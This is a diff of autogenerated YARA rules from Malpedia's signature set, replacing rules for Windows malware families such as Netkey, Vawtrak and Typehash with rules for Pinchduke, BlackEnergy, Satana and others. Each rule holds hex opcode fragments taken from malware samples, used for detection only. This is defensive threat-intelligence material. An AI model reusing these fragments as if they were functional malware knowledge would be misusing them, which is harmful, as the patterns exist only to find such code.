-rule MALPEDIA_Win_Netkey_Auto : FILE
+rule MALPEDIA_Win_Pinchduke_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "76292b9d-6066-51f2-940c-21859c007253"
+		id = "cba434ff-ad3f-569d-a5ea-a8661b7af309"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.netkey"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.netkey_auto.yar#L1-L129"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pinchduke"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pinchduke_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "0ca26012e9d146d53c4ba2a355f1655827a5f40d6a52c39d2206e16c6e4d6ec5"
+		logic_hash = "91b75415e43b3618cf4d35265fc79e44823a3f174f6cf370c8d280ecd6905acb"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161090,32 +168097,32 @@ rule MALPEDIA_Win_Netkey_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83c40c 83c208 8bca 81e11f000080 7905 49 }
-		$sequence_1 = { 83e03f c1ff06 6bd830 8b04bda8214400 f644032801 7444 837c0318ff }
-		$sequence_2 = { 81ec98010000 a1???????? 33c4 89842494010000 b9???????? e8???????? 8d0424 }
-		$sequence_3 = { 83c404 85ff 0f84c7000000 57 53 6a00 56 }
-		$sequence_4 = { 8bc2 8955fc 99 83e21f 8d0c02 c1f905 }
-		$sequence_5 = { 6a01 8845e8 8d45e8 57 50 c745c801000000 e8???????? }
-		$sequence_6 = { 42 668955ec e8???????? 99 be3b000000 f7fe }
-		$sequence_7 = { 780d b801000000 5f 5e 5b 59 }
-		$sequence_8 = { 83c8ff eb07 8b04cd8c6a4300 5f 5e 5b 8be5 }
-		$sequence_9 = { 8d8fd8000000 e8???????? 0f1005???????? 8d95f0fbffff 8d4a01 0f1185f0fbffff }
+		$sequence_0 = { 6a01 895dd4 895dd8 895ddc c645e030 895de1 }
+		$sequence_1 = { 9b d93c24 9b 58 50 80e4f3 80cc08 }
+		$sequence_2 = { 85d2 7416 8d4c50fe 2bf0 57 668b3c0e 668939 }
+		$sequence_3 = { 83c40c 8d857bffffff 50 8d4dc4 e8???????? 8d8d7bffffff e8???????? }
+		$sequence_4 = { 50 ff15???????? 3bc3 89456c 0f84cc020000 }
+		$sequence_5 = { 8945fc e8???????? 83c410 ff75fc 56 ff15???????? 56 }
+		$sequence_6 = { 64a118000000 3e8b4030 3e0fb64002 890424 8b0424 59 c3 }
+		$sequence_7 = { 6a00 ff7510 ff75fc ffd6 85c0 7404 33c0 }
+		$sequence_8 = { 85d2 75f5 8bc7 5f 5e c3 8b4c240c }
+		$sequence_9 = { e8???????? 8d85e4f7ffff 50 e8???????? 83ec0c 8bcc 50 }
 
 	condition:
-		7 of them and filesize <606208
+		7 of them and filesize <223680
 }
-rule MALPEDIA_Win_Sarhust_Auto : FILE
+rule MALPEDIA_Win_Pillowmint_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "50274b48-711c-5f29-acdb-11078c70fee8"
+		id = "f86758a5-97c5-5c70-a000-bfe6ecf0e5d4"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.sarhust"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.sarhust_auto.yar#L1-L118"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.pillowmint"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.pillowmint_auto.yar#L1-L131"
 		license_url = "N/A"
-		logic_hash = "0160e7f1d6d7f85de80fabf97a5a855a2c32446045510933894141374e273156"
+		logic_hash = "33c9d52674ffef90debdc06a4a267346eaf178ee863fdca6106f4bbf407b2817"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161129,32 +168136,32 @@ rule MALPEDIA_Win_Sarhust_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff }
-		$sequence_1 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
-		$sequence_2 = { e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
-		$sequence_3 = { eb08 8b4520 8b4d0c 8908 }
-		$sequence_4 = { 6801000080 ff15???????? 85c0 7408 ff15???????? }
-		$sequence_5 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
-		$sequence_6 = { e8???????? 8d8d4cffffff e8???????? 6a00 ff15???????? }
-		$sequence_7 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
-		$sequence_8 = { 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 8d8d4cffffff e8???????? 6a00 }
-		$sequence_9 = { 8d8d4cffffff e8???????? 6a00 ff15???????? }
+		$sequence_0 = { 4883ec48 488b05???????? 4833c4 4889442438 83fa01 0f8580000000 }
+		$sequence_1 = { 90 4c8bc0 488d1533c00000 488d4d40 e8???????? 90 4c8d051ec00000 }
+		$sequence_2 = { 488bd8 488b00 80781900 74e9 493bd8 741e 8b4320 }
+		$sequence_3 = { 4889bc2418010000 c684240801000000 41b810000000 488d155dc00200 488d8c2408010000 e8???????? }
+		$sequence_4 = { 49c1f803 498bc0 48c1e83f 4c03c0 0f84e0050000 498bd1 4c3bc3 }
+		$sequence_5 = { ff15???????? ba04010000 488d4c2430 4c8d05a2630300 395c2420 7507 4c8d05ad630300 }
+		$sequence_6 = { 0f95c0 48ffc0 480faf45df 48ffc8 48014368 48837de710 7209 }
+		$sequence_7 = { 488bd6 488d4d97 e8???????? 90 4c8d6597 48837daf10 4c0f436597 }
+		$sequence_8 = { ff15???????? 833d????????04 0f8cf6030000 48c785980000000f000000 4533f6 4c89b590000000 }
+		$sequence_9 = { 3b3d???????? 0f8392000000 488bc7 4c8bf7 49c1fe05 4c8d2d4bd30100 83e01f }
 
 	condition:
-		7 of them and filesize <114688
+		7 of them and filesize <4667392
 }
-rule MALPEDIA_Win_Typehash_Auto : FILE
+rule MALPEDIA_Win_Satana_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "edf296ed-fbc4-5bd8-b180-ef55e989c944"
+		id = "d19234af-c9bd-5654-81eb-f961478057fe"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.typehash"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.typehash_auto.yar#L1-L125"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.satana"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.satana_auto.yar#L1-L122"
 		license_url = "N/A"
-		logic_hash = "9451e6a97a0b537ea280e22049617c90fd5aa93257a4b129bfda6427a2eb4eeb"
+		logic_hash = "bdc48675727bdd579a6ca8ed3a223cef8d8ab6026da5d019b40d5fe8d696eb85"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161168,32 +168175,32 @@ rule MALPEDIA_Win_Typehash_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 83e11f 8b0485e03d4100 8d04c8 eb05 b8???????? f6400420 740d }
-		$sequence_1 = { c3 8bc8 83e01f c1f905 8b0c8de03d4100 8a44c104 }
-		$sequence_2 = { e8???????? 6a01 8d4c2450 c68424cc00000001 e8???????? bf???????? }
-		$sequence_3 = { 8944240c c744241004000000 7460 8b2d???????? 8b3d???????? }
-		$sequence_4 = { c1f805 c1e603 8d1c85e03d4100 8b0485e03d4100 03c6 8a5004 }
-		$sequence_5 = { 50 51 6813000020 56 c744242000000000 c744242404000000 ffd7 }
-		$sequence_6 = { 03c8 3bc1 7d1e 8d1440 2bc8 8d1495e8294100 832200 }
-		$sequence_7 = { 3bf3 7505 be???????? 8b54242c 8b442430 8bcf 55 }
-		$sequence_8 = { 837d1805 7538 837d1000 7508 8bb6b42b4100 }
-		$sequence_9 = { e8???????? 68???????? 8d45c8 c745c8e4e74000 50 }
+		$sequence_0 = { 8b3d???????? 90 ffd6 68e8030000 ffd7 }
+		$sequence_1 = { ff15???????? 8b459c 50 ff15???????? 8b4ddc 010d???????? }
+		$sequence_2 = { 8d8c2468020000 51 e8???????? 8b442410 8d542418 52 }
+		$sequence_3 = { 8b5108 ffd2 6a00 8b45fc 8b480c ffd1 8be5 }
+		$sequence_4 = { 68???????? e8???????? 83c414 53 6880000000 }
+		$sequence_5 = { 83c002 663bcb 75f1 8d8de89effff 51 e8???????? }
+		$sequence_6 = { 57 50 68???????? e8???????? 83c414 833d????????00 745a }
+		$sequence_7 = { ffd3 8bf8 a1???????? 57 }
+		$sequence_8 = { 105353 bf60600157 ff7528 fc ffd6 0105???????? f8 }
+		$sequence_9 = { ff15???????? e8???????? 837de401 0f8e12030000 8b4704 }
 
 	condition:
-		7 of them and filesize <180224
+		7 of them and filesize <221184
 }
-rule MALPEDIA_Win_Redshawl_Auto : FILE
+rule MALPEDIA_Win_Flowershop_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "6da43ccb-6114-536f-a2d4-a0a197b8eb4b"
+		id = "8ec68082-5d4c-584e-ad88-66456b2a097b"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.redshawl"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.redshawl_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.flowershop"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.flowershop_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "b081202974eb2cc07597ec5bbbc48f26672d398acc6550f420b42ca3feedcaae"
+		logic_hash = "f019e2c8acff91329c227db3e65589276d7267039537efb349a1a4ca0b28047b"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161207,32 +168214,32 @@ rule MALPEDIA_Win_Redshawl_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { ffc6 488d0c80 488d05baaa0000 488d0cc8 48890f ff15???????? 85c0 }
-		$sequence_1 = { e8???????? 488b8b58010000 e8???????? 488d7b58 be06000000 488d0519c30000 483947f0 }
-		$sequence_2 = { 488bce 488bc6 488d15709a0000 83e11f }
-		$sequence_3 = { 488b8b58010000 e8???????? 488d7b58 be06000000 488d0519c30000 }
-		$sequence_4 = { e9???????? 4c8d2552940000 488b0d???????? eb7c }
-		$sequence_5 = { eb76 33c9 488d1543bb0000 48891401 4883c230 4883c108 48ffcb }
-		$sequence_6 = { 8905???????? 8b430c 8905???????? 8bd7 4c8d0520d1ffff 89542420 }
-		$sequence_7 = { 8bd8 488bcf ff15???????? 488b742438 8bc3 }
-		$sequence_8 = { 72ed 48833d????????00 741f 488d0dc2c10000 e8???????? 85c0 }
-		$sequence_9 = { 4c8d251ac70000 4863f8 49833cfc00 752b b900100000 }
+		$sequence_0 = { 0f857d030000 e9???????? 8325????????00 8b15???????? 85d2 760b 8bca }
+		$sequence_1 = { ff750c ff15???????? 8bf0 d1e6 0fb7c6 50 8d470a }
+		$sequence_2 = { 33f6 85c0 761e bb???????? 53 57 e8???????? }
+		$sequence_3 = { 8b45f0 8b3d???????? 8db008010000 56 6a08 ffd7 50 }
+		$sequence_4 = { 33ff 80240100 217dfc 8d450c 50 8d4508 50 }
+		$sequence_5 = { 85c0 740a 3b4514 7705 6a01 58 eb02 }
+		$sequence_6 = { c3 895104 c3 56 8b742408 57 8b4604 }
+		$sequence_7 = { e8???????? 33c0 eb7b 6a01 5e 837c241005 7c5e }
+		$sequence_8 = { 33c0 5f 2bd1 c7450824000000 3b7d0c 7712 8b5c0afc }
+		$sequence_9 = { 33f6 eb4b 8b7d08 3b7dfc 741c 8d45fc 50 }
 
 	condition:
-		7 of them and filesize <174080
+		7 of them and filesize <829440
 }
-rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE
+rule MALPEDIA_Win_Buzus_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "452f6306-c16f-58b7-84a1-ee288d662c0a"
+		id = "abeb46d7-6b5d-534d-9d29-46b219047b43"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.webc2_ausov"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.webc2_ausov_auto.yar#L1-L120"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.buzus"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.buzus_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "e12dc956bf634cd764e774e1669338328ccbb898d34279d3918e11978d93f5a2"
+		logic_hash = "4ce965d715abb7623aae188d8dd7527d9c7207cb501cc27ac457187efef652e0"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161246,34 +168253,34 @@ rule MALPEDIA_Win_Webc2_Ausov_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8501000000 f8 8b95f8fbffff 0355fc 8995f8fbffff 0f8407000000 }
-		$sequence_1 = { 83bdc4fdffff00 7507 33c0 e9???????? 8d8da8faffff 898d4cfaffff }
-		$sequence_2 = { 0f8487000000 8b3d???????? 68???????? 56 }
-		$sequence_3 = { 0f8407000000 0f8501000000 f8 68???????? }
-		$sequence_4 = { 83c101 894df8 8b55f8 3b55f4 7d31 0f8407000000 }
-		$sequence_5 = { f7d1 83c1ff 51 8d95f8feffff 52 }
-		$sequence_6 = { 0f8501000000 f8 68???????? 8d8dfcfbffff 51 }
-		$sequence_7 = { 6804010000 8d85a8faffff 50 68???????? ff15???????? 8985c4fdffff 83bdc4fdffff00 }
-		$sequence_8 = { 81ec10040000 53 56 57 0f8407000000 0f8501000000 }
-		$sequence_9 = { e8???????? 83c404 8b4d0c 894104 e9???????? 8dbdfcfbffff 83c9ff }
+		$sequence_0 = { 5d 7413 68???????? 50 ffd6 3bc3 a3???????? }
+		$sequence_1 = { 4e 46 897508 ebbd 803e2a 750b 83f801 }
+		$sequence_2 = { ff75c0 ff75bc 50 e8???????? 83c40c 83f801 0f85e4000000 }
+		$sequence_3 = { e8???????? 8d8554fdffff 50 8d85ccfdffff 50 68???????? }
+		$sequence_4 = { 68???????? 6a01 56 68???????? 33ff 8975f0 8975f4 }
+		$sequence_5 = { 50 ff15???????? be???????? 8d84242c280000 }
+		$sequence_6 = { 898524ffffff 8b45bc 89850cffffff 8b45d8 898514ffffff 6bc03c 6a31 }
+		$sequence_7 = { 385802 750e 0fbe5001 c68415b0feffff01 eb28 80fa2d 7539 }
+		$sequence_8 = { 6a03 58 8945b8 6a3c 59 3bc1 7603 }
+		$sequence_9 = { 68???????? 50 ff7508 e8???????? 83c41c 8b45d4 68b80b0000 }
 
 	condition:
-		7 of them and filesize <40960
+		7 of them and filesize <679936
 }
-rule MALPEDIA_Win_Vawtrak_Auto : FILE
+rule MALPEDIA_Win_Blackenergy_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "b724e7c8-fa8b-5ecb-9091-2adfef543aee"
+		id = "5db0ecdd-a93d-527c-8567-cf3a04744f9e"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.vawtrak"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.vawtrak_auto.yar#L1-L212"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.blackenergy"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.blackenergy_auto.yar#L1-L130"
 		license_url = "N/A"
-		logic_hash = "2420d7270c56567b74aa80afdfcc3b5893cd81eeb0dabc0a53855a9b85be220c"
+		logic_hash = "0197d7c7455032dc4a706fe02d56c8be876c2f6b4f29a6658284a54a2993239d"
 		score = 75
-		quality = 73
+		quality = 75
 		tags = "FILE"
 		version = "1"
 		tool = "yara-signator v0.6.0"
@@ -161285,45 +168292,32 @@ rule MALPEDIA_Win_Vawtrak_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 6a01 ff35???????? 6a04 6a01 50 ff15???????? 85c0 }
-		$sequence_1 = { 6a00 6a00 e8???????? 50 ff15???????? }
-		$sequence_2 = { 837d1040 752d 8b4d04 e8???????? 85c0 }
-		$sequence_3 = { 8b4d08 e8???????? 85c0 7415 ff15???????? 50 }
-		$sequence_4 = { ba00ff0000 8bc1 23c2 3bc2 }
-		$sequence_5 = { 750f 33c9 e8???????? 85c0 7404 }
-		$sequence_6 = { b8ff0f0000 6623e8 b800400000 660be8 }
-		$sequence_7 = { 6a08 68???????? 56 ffd7 85c0 }
-		$sequence_8 = { 50 ff15???????? a3???????? 85c0 74e7 }
-		$sequence_9 = { 7528 68???????? ff15???????? 85c0 7504 33c0 }
-		$sequence_10 = { 59 57 8bf0 ff15???????? 8bc6 }
-		$sequence_11 = { e8???????? 33d2 b9ff3f0000 f7f1 }
-		$sequence_12 = { 8bc6 8703 3bc6 74f8 }
-		$sequence_13 = { 56 6a04 53 57 }
-		$sequence_14 = { 7705 80ea61 eb0a 8d42bf }
-		$sequence_15 = { 03c1 8b4d14 8901 33c0 40 }
-		$sequence_16 = { e9???????? 8ac1 c1e904 c0e004 }
-		$sequence_17 = { 8ac8 240f 80e1f0 80c110 32c8 }
-		$sequence_18 = { 3c41 7c11 3c46 7f0d }
-		$sequence_19 = { 48397c2430 7505 bb01000000 8bc3 }
-		$sequence_20 = { 4885c0 7440 ff15???????? 488b0b 33ff 3db7000000 }
-		$sequence_21 = { 0f84ff000000 3d00010000 7320 488b0b }
-		$sequence_22 = { 420fb61408 8bc1 ffc1 42881408 }
+		$sequence_0 = { bb01000000 eb02 03d8 8bc2 e9???????? 8b4df4 014dd8 }
+		$sequence_1 = { 39750c 740c 56 56 ff7508 ff550c }
+		$sequence_2 = { 8b7df4 8b75f0 8b4d08 f3a4 a1???????? 33c9 3bc1 }
+		$sequence_3 = { e8???????? 2bc6 3bc7 760f 6bd20a 47 e8???????? }
+		$sequence_4 = { 0f848f000000 53 8d45f0 50 8d45d8 50 }
+		$sequence_5 = { 58 e8???????? 85c0 75ae 5e 5f c9 }
+		$sequence_6 = { 85c0 7441 8b5dc8 8b5b28 85db 7427 8b4de4 }
+		$sequence_7 = { 33f6 56 6810000002 6a03 56 6a01 6800000080 }
+		$sequence_8 = { 8b583c 03d8 895dc8 8b4334 8945e0 33f6 46 }
+		$sequence_9 = { 50 ff15???????? 50 ff5508 6a02 }
 
 	condition:
-		7 of them and filesize <1027072
+		7 of them and filesize <98304
 }
-rule MALPEDIA_Win_Graphsteel_Auto : FILE
+rule MALPEDIA_Win_Derohe_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "5824e278-153d-5fe0-a214-d93680fdb8e7"
+		id = "082c8bb6-5e90-542b-87a2-cd5536e22be3"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.graphsteel"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.graphsteel_auto.yar#L1-L134"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.derohe"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.derohe_auto.yar#L1-L134"
 		license_url = "N/A"
-		logic_hash = "0a7069cfdac89882eeae5b943786ae3bcce2789fc825f256679c381850fffe14"
+		logic_hash = "3afbf42b0aba27d1df54ba6496f4a588ae2f7c7ec09fa3d922d168dfad26c783"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161337,33 +168331,33 @@ rule MALPEDIA_Win_Graphsteel_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { e8???????? 488d7830 488b4c2440 0f1f4000 e8???????? 4889c3 488d05415b3900 }
-		$sequence_1 = { ffd0 488bb42428010000 488b942410020000 4885d2 0f8401010000 488b4c2450 488d1d88ae4400 }
-		$sequence_2 = { e9???????? a810 0f84f1000000 84d2 0f888c010000 8954245c 83fa0b }
-		$sequence_3 = { e8???????? e8???????? 90 31c9 488d150f198e00 870a 8b0d???????? }
-		$sequence_4 = { e9???????? 4c8b4c2468 4d85c9 0f84b1000000 4c8b9424d8030000 4d8b9a88000000 498b4b08 }
-		$sequence_5 = { e8???????? 4909c5 0fb603 83c05b a8fb 0f85a0000000 488b4340 }
-		$sequence_6 = { e9???????? 8b8424a0010000 4189d9 ba35000000 4c89e9 448b842498010000 41bf06000000 }
-		$sequence_7 = { e9???????? 4885f6 0f8520ffffff 4c8d742440 4889d9 4d8b4550 c744244001080000 }
-		$sequence_8 = { eb11 488d7830 488b9424e0000000 e8???????? 488b542438 48895050 488b542440 }
-		$sequence_9 = { e8???????? c644243507 488d05e3cc3300 488b9c24c8000000 488d4c2435 e8???????? 48c7400806000000 }
+		$sequence_0 = { ffd0 8b542404 c60424e3 8b02 ffd0 8b542404 c6042405 }
+		$sequence_1 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424df }
+		$sequence_2 = { ffd0 8b542404 c60424a1 8b02 ffd0 8b542404 c60424e8 }
+		$sequence_3 = { ffd0 8b442418 8b4c2414 8b542420 898a8c010000 8b0d???????? 85c9 }
+		$sequence_4 = { ffd0 8b542404 c60424de 8b02 ffd0 8b542404 c60424b8 }
+		$sequence_5 = { ffd0 8b542404 c60424cc 8b02 ffd0 8b542404 c6042462 }
+		$sequence_6 = { e8???????? 8b44241c 8b4c2420 8b542424 8b5c2434 894b08 89530c }
+		$sequence_7 = { ffd0 8b542404 c604247d 8b02 ffd0 8b542404 c60424a4 }
+		$sequence_8 = { ffd2 8b442404 83c0fa 83f801 0f869e000000 90 8b4c242c }
+		$sequence_9 = { ffd0 8b542404 c60424e0 8b02 ffd0 8b542404 c6042407 }
 
 	condition:
-		7 of them and filesize <19812352
+		7 of them and filesize <35788800
 }
-rule MALPEDIA_Win_Wndtest_Auto : FILE
+rule MALPEDIA_Win_Mebromi_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "a60fab9e-f350-5d99-8e55-84b700dcda0e"
+		id = "e0d98380-a60b-51d2-98f3-302d440340e7"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.wndtest"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.wndtest_auto.yar#L1-L117"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.mebromi"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.mebromi_auto.yar#L1-L125"
 		license_url = "N/A"
-		logic_hash = "c7d0b1dfe74b472c5174a4761a9428ccee3d781f889972cf04ca5a6d741a211f"
-		score = 50
+		logic_hash = "4361b37a1cf79aacd380ae78b2f2e74bbc44d101b09510c6583cf0529e44be88"
+		score = 75
 		quality = 75
 		tags = "FILE"
 		version = "1"
@@ -161376,32 +168370,32 @@ rule MALPEDIA_Win_Wndtest_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 8d1439 8a0410 320419 41 }
-		$sequence_1 = { 56 ffd7 8b0d???????? a3???????? a1???????? }
-		$sequence_2 = { 56 0fbe7001 83f60d 57 }
-		$sequence_3 = { 880c3e 5f 5e 8be5 }
-		$sequence_4 = { 75ea 8bcb 0fb6d2 c1e918 33ca c1e308 }
-		$sequence_5 = { a3???????? a1???????? 50 51 e8???????? 83c408 50 }
-		$sequence_6 = { 2bc2 40 50 e8???????? 8bd0 }
-		$sequence_7 = { ffd7 8b15???????? a3???????? a1???????? 52 50 e8???????? }
-		$sequence_8 = { 83c404 33c9 8d460a ba02000000 f7e2 }
-		$sequence_9 = { 8b0d???????? 894808 e9???????? 8d46fe 8bff 668b4802 }
+		$sequence_0 = { 743a 837d0800 742e 85f6 7419 0fb6da f68301a0290004 }
+		$sequence_1 = { 68ff010f00 68???????? ff742410 ff15???????? 8bf0 85f6 7416 }
+		$sequence_2 = { 7714 8b55fc 8a9270722900 089001a02900 }
+		$sequence_3 = { 683f000f00 55 55 ff15???????? 8bf0 e8???????? 56 }
+		$sequence_4 = { 48 750c e8???????? eb05 e8???????? 6a01 }
+		$sequence_5 = { 0fb6fa 3bc7 7714 8b55fc 8a9270722900 089001a02900 }
+		$sequence_6 = { 2c29 0000 2d29008a46 0323 d18847034ec1 e9???????? }
+		$sequence_7 = { 0fb6d2 f68201a0290004 740c ff01 }
+		$sequence_8 = { aa 8d9e88722900 803b00 8bcb 742c 8a5101 84d2 }
+		$sequence_9 = { 50 6a01 56 ff15???????? 56 8bf8 ff15???????? }
 
 	condition:
-		7 of them and filesize <901120
+		7 of them and filesize <106496
 }
-rule MALPEDIA_Win_Bravonc_Auto : FILE
+rule MALPEDIA_Win_Cradlecore_Auto : FILE
 {
 	meta:
 		description = "autogenerated rule brought to you by yara-signator"
 		author = "Felix Bilstein - yara-signator at cocacoding dot com"
-		id = "e1447c3c-8c4c-54e5-9d2c-b00b52d2dc03"
+		id = "de5cfc2b-ebd2-5b2c-afe8-802a7c966fb2"
 		date = "2023-12-06"
 		modified = "2023-12-08"
-		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.bravonc"
-		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.bravonc_auto.yar#L1-L130"
+		reference = "https://malpedia.caad.fkie.fraunhofer.de/details/win.cradlecore"
+		source_url = "https://github.com/malpedia/signator-rules//blob/fbacfc09b84d53d410385e66a8e56f25016c588a/rules/win.cradlecore_auto.yar#L1-L127"
 		license_url = "N/A"
-		logic_hash = "76468ca1f8266a49d1bb0da33f680bf0a2046353d9d66d58507a76281c00d1b6"
+		logic_hash = "50e3eefefe56e4c7c3dbb9ce61b4c12511d78dda94103f69f932673a673b2621"
 		score = 75
 		quality = 75
 		tags = "FILE"
@@ -161415,32 +168409,32 @@ rule MALPEDIA_Win_Bravonc_Auto : FILE
 		malpedia_sharing = "TLP:WHITE"
 
 	strings:
-		$sequence_0 = { 0f8c05040000 8b06 3b7804 0f8dfa030000 395e04 7407 50 }
-		$sequence_1 = { 5b c3 55 8bec 53 33db 395d0c }
-		$sequence_2 = { 57 ff75ec 334dec 030a 034df0 8d8401d6c162ca 8945f0 }
-		$sequence_3 = { 8907 8b45f4 2bfb 59 59 8907 8b45fc }
-		$sequence_4 = { 83c430 8bce 53 56 e8???????? 5f 5e }
-		$sequence_5 = { e8???????? 8b0e 030f c1e104 2bc1 eb08 8d4de0 }
-		$sequence_6 = { ff75f0 e8???????? 8b4df8 83c440 334dec 57 }
-		$sequence_7 = { 335dfc 3175fc 83c118 ff4df0 8bf2 8b55fc 8955f8 }
-		$sequence_8 = { 83450c08 ebd2 d36d08 8b0c8590b24000 234d08 014df0 8bc8 }
-		$sequence_9 = { 03f3 2bfb 03f3 890f }
+		$sequence_0 = { 03f2 eb5c 8b45f4 8b0c85f01f4300 f644190448 7437 }
+		$sequence_1 = { 720f 8b06 5f c60000 8bc6 }
+		$sequence_2 = { 83e908 8d7608 660fd60f 8d7f08 8b048db8734000 ffe0 f7c703000000 }
+		$sequence_3 = { e8???????? 51 51 53 8bd9 33c0 8945f0 }
+		$sequence_4 = { e8???????? 83c410 3bc3 75cf 0fb644240f e9???????? c74424340f000000 }
+		$sequence_5 = { 80fb5a 7e53 80fb2d 744e 80fb2e }
+		$sequence_6 = { 8b5df4 8b7df0 33f6 8bce 8b75fc }
+		$sequence_7 = { 7204 8b1e eb02 8bde 8b450c 33d2 8b4d08 }
+		$sequence_8 = { 59 50 8d45d0 8bce 50 e8???????? 837da010 }
+		$sequence_9 = { 53 50 68???????? 53 ff15???????? 8d4de8 c745e868747470 }
 
 	condition:
-		7 of them and filesize <131072
+		7 of them and filesize <450560
 }
-rule MALPEDIA_Win_Pebbledash_Auto : FILE
+rule MALPEDIA_Win_Sathurbot_Auto : FILE
 {
 	meta:
